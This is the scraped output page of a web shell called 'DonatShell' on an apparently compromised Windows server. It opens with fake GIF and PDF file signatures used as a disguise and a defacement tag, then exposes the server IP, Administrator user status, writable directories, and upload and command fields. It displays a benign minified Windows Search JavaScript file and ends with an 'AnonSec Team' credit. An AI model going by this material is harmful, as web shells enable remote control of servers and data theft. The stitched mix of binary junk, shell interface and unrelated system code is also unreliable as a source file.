GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/SystemApps/Microsoft.Windows.Search_cw5n1h2txyewy/cache/Local/Desktop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Windows/SystemApps/Microsoft.Windows.Search_cw5n1h2txyewy/cache/Local/Desktop/21.js
var WSB;(function(n){class t extends n.JsonDataProvider{constructor(n="DFLS"){super(n);this.dataSourceType=n}getName(){return this.dataSourceType=="DFLS"?"CuratedSuggestionsDataProvider":"CuratedSettingsDataProvider"}fetch(t,i,r,u){t.enabledDataSources[this.dataSourceType]&&(this.dataSourceType=="DFLS"?n.Async.safeChain("CuratedSuggestionsFetch",()=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.getAllAppsAsync(),n=>i(this.dataSourceType,n,undefined),null,u):this.dataSourceType=="CUSE"&&i(this.dataSourceType,null,undefined))}}n.CuratedSuggestionsDataProvider=t;class i{constructor(n){this.dataSourceType=n!==null&&n!==void 0?n:"DFLS"}parse(n,t,i,r,u,f){let e=[];this.dataSourceType=="DFLS"?this.parseCuratedSuggestions(n,t,i,r,e):this.dataSourceType=="CUSE"&&this.parseCuratedSettings(n,t,i,r,e);f(i,e,undefined)}addSettingSuggestion(t,i,r,u,f,e,o){let h="DFLS",s=n.createSuggestion(f,r,null,{type:u==="&#xE771"?1:2,content:u},h,f.fullPartialQuery,n.InstrumentedItem.createInstrumentedItem(e,h),2,e,n.localDataSourceMayContainPII(this.dataSourceType));s.click=()=>{n.Host.launchUriAsync(i,!0),n.hasCopilotSettingEnabled()&&SearchAppWrapper.CortanaApp.dismissApp()};s.tooltip=s.text;s.reactKey=h+s.text;s.query=s.text;s.staticGroupType=o;t.push(s);s.narratorText=s.text}addAppSuggestion(t,i,r,u,f){if(i){let o=i[r];if(o){let s=n.getIcon(o,o.id+"_"+o.filePath+"_"+o.displayName,"curatedSuggestion",!0,!1,null,o.isImmersive&&o.logoBackgroundColor,0),e=n.createSuggestion(u,o.displayName,s,null,"DFLS",u.fullPartialQuery,n.InstrumentedItem.createInstrumentedItem(f,"PP"),2,f,n.localDataSourceMayContainPII(this.dataSourceType));e.deviceItem=o;e.click=()=>{n.Host.launchAppItemAsync(o,this.dataSourceType),n.hasCopilotSettingEnabled()&&SearchAppWrapper.CortanaApp.dismissApp()};e.tooltip=e.text;e.reactKey="PP"+e.text;e.query=e.text;e.staticGroupType=n.GroupType.CuratedSuggestions;e.narratorText=e.text;t.push(e)}}}parseCuratedSettings(t,i,r,u,f){this.addSettingSuggestion(f,"ms-settings:quiethours",n.Host.getLocString("FocusSettingSuggestion"),null,t,i,n.GroupType.CuratedSettings);this.addSettingSuggestion(f,"ms-settings:sound",n.Host.getLocString("SoundSettingsSuggestion"),null,t,i,n.GroupType.CuratedSettings);this.addSettingSuggestion(f,"ms-settings:bluetooth",n.Host.getLocString("BluetoothSettingsSuggestion"),null,t,i,n.GroupType.CuratedSettings);this.addSettingSuggestion(f,"ms-settings:display",n.Host.getLocString("DisplaySettingsSuggestion"),null,t,i,n.GroupType.CuratedSettings);this.addSettingSuggestion(f,"ms-settings:colors",n.Host.getLocString("ColorSettingsSuggestion"),null,t,i,n.GroupType.CuratedSettings);this.addSettingSuggestion(f,"ms-settings:search-permissions",n.Host.getLocString("SearchSettings"),null,t,i,n.GroupType.CuratedSettings)}parseCuratedSuggestions(t,i,r,u,f){n.config.useCobaltCSS?(this.addAppSuggestion(f,u,"MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost",t,i),this.addAppSuggestion(f,u,"MSEdge",t,i),this.addAppSuggestion(f,u,"Microsoft.Getstarted_8wekyb3d8bbwe!App",t,i),this.addSettingSuggestion(f,"ms-settings:emailandaccounts",n.Host.getLocString("EmailSettingSuggestion"),"&#xE715",t,i,n.GroupType.CuratedSuggestions),this.addAppSuggestion(f,u,"Microsoft.ScreenSketch_8wekyb3d8bbwe!App",t,i),this.addSettingSuggestion(f,"ms-settings:windowsupdate",n.Host.getLocString("UpdateSettingSuggestion"),"&#xE895",t,i,n.GroupType.CuratedSuggestions),this.addAppSuggestion(f,u,"Microsoft.Paint_8wekyb3d8bbwe!App",t,i),this.addSettingSuggestion(f,"ms-settings:themes",n.Host.getLocString("ThemeSettingSuggestion"),"&#xE771",t,i,n.GroupType.CuratedSuggestions),this.addAppSuggestion(f,u,"Microsoft.SkyDrive.Desktop",t,i),this.addAppSuggestion(f,u,"Microsoft.WindowsCalculator_8wekyb3d8bbwe!App",t,i),this.addSettingSuggestion(f,"ms-settings:bluetooth",n.Host.getLocString("BluetoothSettingSuggestion"),"&#xE772",t,i,n.GroupType.CuratedSuggestions),this.addAppSuggestion(f,u,"microsoft.windowscommunicationsapps_8wekyb3d8bbwe!microsoft.windowslive.mail",t,i),this.addAppSuggestion(f,u,"Microsoft.Windows.Explorer",t,i)):(this.addAppSuggestion(f,u,"MSEdge",t,i),this.addAppSuggestion(f,u,"Microsoft.Getstarted_8wekyb3d8bbwe!App",t,i),this.addSettingSuggestion(f,"ms-settings:emailandaccounts",n.Host.getLocString("EmailSettingSuggestion"),"&#xE715",t,i,n.GroupType.CuratedSuggestions),this.addAppSuggestion(f,u,"{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\SnippingTool.exe",t,i),this.addSettingSuggestion(f,"ms-settings:windowsupdate",n.Host.getLocString("UpdateSettingSuggestion"),"&#xE895",t,i,n.GroupType.CuratedSuggestions),this.addAppSuggestion(f,u,"Microsoft.Windows.Computer",t,i),this.addAppSuggestion(f,u,"{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\mspaint.exe",t,i),this.addSettingSuggestion(f,"ms-settings:themes",n.Host.getLocString("ThemeSettingSuggestion"),"&#xE771",t,i,n.GroupType.CuratedSuggestions),this.addAppSuggestion(f,u,"Microsoft.SkyDrive.Desktop",t,i),this.addAppSuggestion(f,u,"{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\notepad.exe",t,i),this.addAppSuggestion(f,u,"Microsoft.Windows.Explorer",t,i),this.addAppSuggestion(f,u,"Microsoft.GetHelp_8wekyb3d8bbwe!App",t,i),this.addAppSuggestion(f,u,"microsoft.windowscommunicationsapps_8wekyb3d8bbwe!microsoft.windowslive.mail",t,i),this.addAppSuggestion(f,u,"windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel",t,i))}}n.CuratedSuggestionsParser=i})(WSB||(WSB={})),function(n){const i="QSCH";class r extends n.JsonDataProvider{getName(){return"QuickSearchSuggestionsDataProvider"}constructor(){super("QSCH");this._lastTypedQuery=new u;(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.mockLastQuery)&&this._lastTypedQuery.setQuery(n.TestHookUrlParameters.mockLastQuery);n.Host.bindDismissed(n=>{n&&n.queryToFetch&&this._lastTypedQuery.setQuery(n.fullPartialQuery)})}fetch(n,t){if(n.enabledDataSources[i]){let u={};u=r.getQuickSearchResponse(u);t(i,u,undefined)}}static getQuickSearchResponse(t){let r=n.ScopeConfig[n.Scope.Web]&&n.ScopeConfig[n.Scope.Web].prefixes?n.ScopeConfig[n.Scope.Web].prefixes[0]:null,i=n.Host.getLanguage().toLowerCase();return(n.config.codexBtnInQuickSearches1||n.config.codexBtnInQuickSearches2)&&n.isCodexEligible()?n.preconditionForEnableQuickSearches()&&((n.config.supportedQuickAnswersMarkets[i]||n.config.quickAnswerIcon||n.config.quickAnswerWeb)&&this.getQuickAnswers(i,r,t),this.addChatWithBing(t)):n.shouldEnableQuickSearches(i)&&this.getQuickAnswers(i,r,t),t}static getQuickAnswers(t,i,r){let u=[];r.quickAnswers=n.getQuickAnswersTranslatedSuggestions(t);r.quickAnswers.forEach(n=>{i?u.push(i.toLowerCase()+": "+n.query):u.push(n.query)})}static addChatWithBing(t){const i=n.Host.getLocString("AskCopilot");t.quickAnswers.push({type:0,query:i,tooltip:i,icon:n.AnswerIcons.ChatWithBing})}}n.QuickSearchSuggestionsDataProvider=r;class u{constructor(){this.LastTypedQueryTTLms=6e5}getQuery(){const t=n.getCurrentTime();return this._lastTypedQueryTimeStamp&&t-this._lastTypedQueryTimeStamp<this.LastTypedQueryTTLms?this._lastTypedQuery:(this._lastTypedQuery=null,this._lastTypedQueryTimeStamp=null,null)}setQuery(t){this._lastTypedQuery=t;this._lastTypedQueryTimeStamp=n.getCurrentTime()}}class t{constructor(n){this._navigationHelper=n;t.navigationHelper=this._navigationHelper}parse(n,i,r,u,f,e){let o=[];t.parseQuickSearchSuggestions(n,i,r,u,o);e(r,o,undefined)}static parseQuickSearchSuggestions(i,r,u,f,e){var o;let s=n.ScopeConfig[n.Scope.Web]&&n.ScopeConfig[n.Scope.Web].prefixes?n.ScopeConfig[n.Scope.Web].prefixes[0]:null;if(f&&f.resumeSearchQuery){let o="RSSG",t=n.createSuggestion(i,n.Host.getLocString("RedoLastSearch"),null,{type:2,content:"&#xE81C"},o,f.resumeSearchQuery,n.InstrumentedItem.createInstrumentedItemForReformulation(r,o),998,r,n.localDataSourceMayContainPII(u)),s={verb:"RemoveFromDeviceHistory",displayName:n.Host.getLocString("RemoveFromDeviceHistory"),executeSync:f.resumeSearchRemoveAction,icon:{content:"&#xE711",type:2}};t.tooltip=n.Host.getLocString("RedoYourLastSearchTooltip",f.resumeSearchQuery);n.setExtraVerbs(t,()=>[s],!1);t.click=()=>{n.Host.reformulate(f.resumeSearchQuery),n.Host.setFocusInSearchBox(null,`${o}.click`)};t.reactKey=o+f.resumeSearchQuery;e.push(t)}if(f&&f.quickAnswers){let h="QSSG";for(let c of f.quickAnswers){let l=n.config.quickSearchToMsnMarkets[n.getCurrentLanguage()]&&c.msnUrl,a=(n.config.codexBtnInQuickSearches1||n.config.codexBtnInQuickSearches2)&&((o=c.icon)===null||o===void 0?void 0:o.type)==9&&n.isCodexEligible(),v=n.config.quickSearchToEdge||l||a,f=n.createSuggestion(i,c.text?c.text:c.query,null,n.config.quickAnswerWeb?{type:2,content:"&#xE721"}:c.icon,h,c.query,v?a?n.InstrumentedItem.createInstrumentedItem(r,"WSBQSC"):n.InstrumentedItem.createInstrumentedItem(r,h):n.InstrumentedItem.createInstrumentedItemForReformulation(r,h),v?l?20:0:998,r,n.localDataSourceMayContainPII(u));f.tooltip=l?c.msnTooltip:c.tooltip;f.click=()=>{if(l)n.Host.launchUriAsync(c.msnUrl);else if(v)if(a){let i="/chat?q="+n.encodeQueryParameter(f.query);n.Host.launchSearchAsync(c.query,t.navigationHelper.getSearchUrl(c.query,c.query,"SW",i,0,"WSBQSC"),f.useRaf,"WSBQSC")}else n.Host.launchSearchAsync(c.query,t.navigationHelper.getSearchUrl(c.query,c.query,"SW",null,0),f.useRaf);else{let t=c.query;s&&(t=s.toLowerCase()+": "+t);n.Host.reformulateOnSuggestionClick(t,i.isSearchHomeZI,h,c.serpURLParams);n.Host.setFocusInSearchBox(null,`${h}.click`)}};f.reactKey=h+c.query;e.push(f)}}}}n.QuickSearchSuggestionsParser=t}(WSB||(WSB={})),function(n){function i(t){n.LightweightStorage.setItem(u,JSON.stringify(t))}function t(){const t=n.LightweightStorage.getItem(u);return t?JSON.parse(t):null}function f(){var n;const i=t();let r;if(i){const{trendingSearchSuggestions:t}=i;t&&t.length>0&&(r=(n=t[0])===null||n===void 0?void 0:n.Query)}return r}const r="TS",e=n.config.trendingSearchUpdateMillis,o=500,s="/dsb/scenario?name=EditorialTrendingSearch",h="/dsb/scenario?name=TrendingSearchWithCache",u="WSBTrendingSearchCache";n.setTSContentToCache=i;n.loadTSContentFromWSBCache=t;n.loadFirstTSQueryFromWSBCache=f;class c{getName(){return"TrendingSearchDataProvider"}constructor(){n.config.trendingSearchInWin11LeftPane?n.Host.bindDismissed(()=>{n.isTSWin11LeftPaneEnabled=(n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType())!=1}):n.Host.bindShown(()=>{n.isTSFallbackToANA=!1})}fetch(n,t){n.enabledDataSources[r]&&t(r,this.generateTSDataResponse(),null)}generateTSDataResponse(){let r=[];if(n.MockUrlParameters&&typeof n.MockedTSData=="object"&&!n.config.trendingSearchInWin11LeftPane){let t=n.MockedTSData.suggestions;return n.isTSInSearchBoxEnabled()&&t.length>12&&(t.push(t.shift()),t.splice(12)),{suggestions:t}}if(n.config.trendingSearchInWin11LeftPane){const t=this.loadTSContentFromDSBCache();if(t)r=[...t.trendingSearchSuggestions],r.splice(4);else n.isTSWin11LeftPaneEnabled=!1;return{suggestions:r}}const u=t();if(n.isTSFallbackToANA=!1,u){const{cacheTime:f,trendingSearchSuggestions:o}=u;r=[...o];(f===0||f+e<n.getCurrentTime())&&this.fetchTSUrlWithTimeout().then(u=>{var f,e;if(u){if(n.isTSInSearchBoxEnabled()){let{cacheTime:u,trendingSearchSuggestions:n}=t();if((n===null||n===void 0?void 0:n.length)>0&&((f=r[0])===null||f===void 0?void 0:f.Query)!==((e=n[0])===null||e===void 0?void 0:e.Query)){let t=n.findIndex(n=>{var t;return(n===null||n===void 0?void 0:n.Query)===((t=r[0])===null||t===void 0?void 0:t.Query)});t!=-1&&n.splice(t,1);r=[r[0],...n];i({cacheTime:u,trendingSearchSuggestions:r})}}n.Host.refreshCurrentPane()}})}else{const t=this.loadTSContentFromDSBCache();t?r=[...t.trendingSearchSuggestions]:(n.isTSFallbackToANA=!0,n.Host.refreshCurrentPane());this.fetchTSUrl()}return{suggestions:r}}async fetchTSUrlWithTimeout(){let i=!1,t=n.safeSetTimeout(()=>{i=!0},o,"fetchTSContentTimer");const r=async()=>{const r=await this.fetchTSUrl();return r?i?(n.LogWSBWarning("fetchTrendingSearchContentDone","Fetch trending search content succeed but timeout, will render on next shown",null,"BingTelemetry"),!1):(t&&(sb_ct(t),t=null),!0):!1};return await r()}async fetchTSUrl(){const e=n.isBrowserOnline(),u=n.Host.getLanguage().toLowerCase(),r=n.Host.getRegion().toLowerCase(),f=n.revIpRegionCache.toLowerCase();let o;o=f=="cn"||r=="cn"||r=="hk"&&u.startsWith("zh")?s:h;let t=`${location.origin}${o}`;t=ThresholdUtilities.setUrlParameter(t,"cc",r);t=ThresholdUtilities.setUrlParameter(t,"setlang",u);try{let s=await fetch(t),o=await s.json(),h={ImpressionGuid:o.impressionGuid};if(s.status==200){if(this.isValidTSContent(o)){const t=o.scenarios[0].items;return n.isTSInSearchBoxEnabled()&&t.length>12&&t.splice(12),i({cacheTime:n.getCurrentTime(),trendingSearchSuggestions:t}),n.isTSFallbackToANA=!1,n.InstrumentationHelper.instrumentDSBEvent(h),!0}n.InstrumentationHelper.instrumentDSBEvent(h);throw new Error(`Invalid trending search content. Online status ${e}. Response data ${o?JSON.stringify(o):"undefined"}.`);}else if(s.status==203){const t=f=="cn"?`and revip ${f}`:null;n.InstrumentationHelper.instrumentDSBEvent(h);n.LogWSBWarning("fetchTrendingSearchUrl",`Trending Search is not supporting this region ${r} and language ${u} ${t}`,null,"BingTelemetry")}else throw new Error(`http status:${s.status}. Online status ${e}`);}catch(c){}finally{n.isTSInSearchBoxEnabled()&&(n.placeholdertextNeedUpdate=!0)}return n.isTSFallbackToANA=!0,n.Host.refreshCurrentPane(),!1}isValidTSContent(n){var t;return(n===null||n===void 0?void 0:n.scenarios)&&(n===null||n===void 0?void 0:n.scenarios.length)>0&&((t=n.scenarios[0])===null||t===void 0?void 0:t.items)&&n.scenarios[0].items.length>0}loadTSContentFromDSBCache(){var t,i,r,u,f;const e=n.LightweightStorage.getItem(n.config.dsbCacheKey);if(e){const o=JSON.parse(e),n=(r=(i=(t=o.response)===null||t===void 0?void 0:t.ContentCollection[0])===null||i===void 0?void 0:i.Data)===null||r===void 0?void 0:r.filter(n=>{var t;return((t=n===null||n===void 0?void 0:n.Cards[0])===null||t===void 0?void 0:t.Scenario)=="TrendingSearch"});if(n&&(n===null||n===void 0?void 0:n.length)==1){const t=(f=(u=n[0].Cards[0].FieldsStore)===null||u===void 0?void 0:u.Items)===null||f===void 0?void 0:f.map(n=>{var t,i,r,u;return{Query:n.Title,Thumbnail:{ThumbnailUrl:(t=n.Thumbnail)===null||t===void 0?void 0:t.ThumbnailUrl,ThumbnailId:(i=n.Thumbnail)===null||i===void 0?void 0:i.ThumbnailId,ThumbnailHeight:(r=n.Thumbnail)===null||r===void 0?void 0:r.ThumbnailHeight,ThumbnailWidth:(u=n.Thumbnail)===null||u===void 0?void 0:u.ThumbnailWidth}}});return{cacheTime:o.cacheTime,trendingSearchSuggestions:t?t:null}}}return null}}n.TrendingSearchDataProvider=c;class l{constructor(n){this._navigationHelper=n}parse(t,i,r,u,f,e){let o=[];for(let e of u.suggestions)n.safeExecute(()=>this.parseTrendingSearchDataSuggestion(t,e,r,i,f,o),"parseTrendingSearchDataSuggestion "+r);e(r,o,null)}parseTrendingSearchDataSuggestion(t,i,r,u,e,o){var s;const h="TS",l=n.InstrumentedItem.createInstrumentedItem(u,h),c=i.Query;if(e()){let r=n.createSuggestion(t,c,null,null,h,c,l,0,u,!1);if(n.isThumbnailForTSEnabled()){const t=(s=i.Thumbnail)===null||s===void 0?void 0:s.ThumbnailId;if(t){let i=24,u=24;n.isTSInSearchBoxEnabled()&&o.length<2&&(i=310,u=140);const f=n.config.imageHostName+`${t}${i?`&w=${i}`:""}${u?`&h=${u}`:""}&c=1&rs=1&p=0`;r.icon={type:0,content:f}}}n.config.trendingSearchInWin11LeftPane&&(r.icon={type:0,className:"LBSHSpyglass"});r.reactKey=`${h} ${c}`;r.click=()=>{n.Host.launchSearchAsync(r.query,this._navigationHelper.getSearchUrl(t.fullPartialQuery,r.query,r.type,null,r.handoffType,n.mapOSFormCode("SSHTRD")),!!r.useRaf,n.mapOSFormCode("SSHTRD")),n.isTSInSearchBoxEnabled()&&r.query===f()&&(n.updateTrendingsearchCacheSort(),n.placeholdertextNeedUpdate=!0)};o.push(r)}}}n.TrendingSearchDataParser=l}(WSB||(WSB={})),function(n){var t;(function(t){const u="mruWithIndex",i="mruWithIndexStore",f=1,r="LastUpdated",e=100;class o{constructor(){this.pendingWritingPromises={};this.cacheInfo={name:u};this.deleteItemsFromOneDayAgo(e)}async setDSBQueryAsync(n,t){let u=this.isDSBOrSSHTSUrl(t),f=this.getQueryFromUrl(n),i=this.decodeQuery(f),e=this.isShowConv(n),o=this.isVideoOrImageVertical(n),r=await this.cachedQuery(i);if(u&&!e&&!o&&i!=""){r&&r.length>0&&await this.deleteItemAsync(r);let t=this.convertDSBQueryToMruDbEntry(i,n);await this.setItemAsync(i,t)}}isDSBOrSSHTSUrl(n){return n.medium==="DynamicSearchBox"||n.medium==="SSHTrendingSearch"}isVideoOrImageVertical(n){return(n=decodeURIComponent(n),n.indexOf("/videos/search")>=0||n.indexOf("/images/search")>=0)?!0:!1}isShowConv(n){n=decodeURIComponent(n);return n.indexOf("showconv=1")>=0?!0:!1}getQueryFromUrl(n){var t;try{if(n=decodeURIComponent(n),n=n.startsWith("microsoft-edge")?n.split("?",3)[2]:n.split("?",2)[1],t=n.split("&").filter(n=>n.startsWith("q=")),t.length>0)return t[0].split("=")[1]}catch(i){SharedLogHelper.LogError("getQueryFromUrl",n,i)}return""}decodeQuery(n){return n=decodeURIComponent(n),n.split("+").join(" ")}convertDSBQueryToMruDbEntry(i){let r={};r[n.GroupType.SearchSuggestions.toString()+"\t"+i]={prefixLaunchCount:1,lastLaunchTime:t.StorageBasedDataProvider.getUnixTime(),groupType:n.GroupType.SearchSuggestions};let u={type:"DSBMRU",handoffType:0,hc:!0,highConfidenceMetaSuggestionScore:0,suggestionKey:n.GroupType.SearchSuggestions.toString()+"\t"+i,prefetchConfidenceScore:0,query:i};return{SuggestionEngagementData:r,LastUpdated:t.StorageBasedDataProvider.getUnixTime(),Suggestions:[u]}}async setItemAsync(n,t){try{const i=await this.openDbAsync();await this.writeDbStoreAsync(i,n,t)}catch(i){SharedLogHelper.LogError("setItemAsync",n,i)}}async writeDbStoreAsync(n,t,r){this.assertKeyIsTruthy(t);await this.pendingWritingPromises[t];try{this.pendingWritingPromises[t]=new Promise((u,f)=>{const o=n.transaction(i,"readwrite"),s=o.objectStore(i),e=s.put(r,t);e.onerror=()=>f(Error);e.onsuccess=()=>u()});await this.pendingWritingPromises[t]}finally{delete this.pendingWritingPromises[t]}}async deleteItemsFromOneDayAgo(n){try{const r=await this.openDbAsync(),t=await this.getDbKvStoreKeysAsync(r),i=[];if(t.length>n)for(const n in t){const r=await this.getItemAsync(t[n]);this.getTimeDiffInDaysNumber(r.LastUpdated)>=1&&i.push(t[n])}const u=i.map(n=>this.deleteItemAsync(n));await Promise.all(u)}catch(t){console.error(t);SharedLogHelper.LogError("deleteItemsFromOneDayAgo","${maxItemCount}",t)}}async openDbAsync(){return this.openedDb?this.openedDb:this.pendingOpeningPromise?this.pendingOpeningPromise:(this.pendingOpeningPromise=new Promise((n,t)=>{const{name:r}=this.cacheInfo,i=indexedDB.open(r,f);i.onupgradeneeded=n=>{this.upgradeDb(i.result,n.newVersion,n.oldVersion)};i.onerror=()=>{delete this.pendingOpeningPromise,t(Error)};i.onsuccess=()=>{const t=i.result;this.openedDb=t;delete this.pendingOpeningPromise;n(this.openedDb)}}),this.pendingOpeningPromise)}stringifyError(n){try{return n instanceof Error?JSON.stringify(n,Object.getOwnPropertyNames(n)):JSON.stringify(n)}catch(t){return"<failed to stringify error>"}}upgradeDb(t,u,f){const e=n.config.disableMsbBundle?this.stringifyError:n.stringifyError;if(f===0&&u===1)try{const n=t.createObjectStore(i);n.createIndex(r,r,{unique:!1})}catch(o){}}async getDbKvStoreKeysAsync(n){return new Promise((t,r)=>{const f=n.transaction(i,"readwrite"),u=f.objectStore(i);if(typeof u.getAllKeys=="function"){const n=u.getAllKeys();n.onerror=()=>r(Error);n.onsuccess=()=>t(n.result)}else{const n=u.openCursor(),i=[];n.onerror=()=>r(Error);n.onsuccess=()=>{const r=n.result;r?(i.push(r.key),r.continue()):t(i)}}})}async getItemAsync(n){try{const t=await this.openDbAsync();return await this.readDbStoreAsync(t,n)}catch(t){return SharedLogHelper.LogError("getItemAsync",n,t),undefined}}async readDbStoreAsync(n,t){return this.assertKeyIsTruthy(t),await this.pendingWritingPromises[t],new Promise((r,u)=>{const e=n.transaction(i,"readonly"),o=e.objectStore(i),f=o.get(t);f.onerror=()=>u(Error);f.onsuccess=()=>r(f.result)})}assertKeyIsTruthy(n){if(!n)throw"Key is null";}getTimeDiffInDaysNumber(t){t=t*1e3;const i=n.getCurrentTime();return Math.abs(i-t)/864e5}async deleteItemAsync(n){try{const t=await this.openDbAsync();await this.deleteDbStoreAsync(t,n)}catch(t){SharedLogHelper.LogError("deleteItemAsync",n,t)}}async deleteDbStoreAsync(n,t){this.assertKeyIsTruthy(t);await this.pendingWritingPromises[t];try{this.pendingWritingPromises[t]=new Promise((r,u)=>{const e=n.transaction(i,"readwrite"),o=e.objectStore(i),f=o.delete(t);f.onerror=()=>u(Error);f.onsuccess=()=>r()});await this.pendingWritingPromises[t]}finally{delete this.pendingWritingPromises[t]}}async cachedQuery(n){const i=await this.openDbAsync(),t=await this.getDbKvStoreKeysAsync(i),r=Math.min(t.length,15);for(let i=0;i<r;i++){const r=await this.getItemAsync(t[i]);if(r)for(const u of r.Suggestions){const r=u;if(n.toLowerCase()===r.query.toLowerCase())return t[i]}}return""}}t.IndexedDbDSBEngagedDataStorage=o})(t=n.ClientSideStorage||(n.ClientSideStorage={}))}(WSB||(WSB={}))

Anon7 - 2022
AnonSec Team